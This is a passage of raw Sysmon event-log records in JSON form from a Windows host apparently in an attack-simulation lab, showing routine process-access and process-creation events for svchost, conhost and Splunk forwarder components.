11:51:03.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:03.626\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4027-5F2D-0000-0010E0830400}\r\nTargetProcessId: 3200\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:03.626","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4027-5F2D-0000-0010E0830400}","TargetProcessId":"3200","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.487\r\nProcessGuid: {90617006-4028-5F2D-0000-0010A3850400}\r\nProcessId: 4360\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.487","ProcessGuid":"{90617006-4028-5F2D-0000-0010A3850400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4028-5F2D-0000-0010A3850400}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4028-5F2D-0000-0010A3850400}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4028-5F2D-0000-0010A3850400}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4028-5F2D-0000-0010A3850400}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:04.486\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:04.486","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 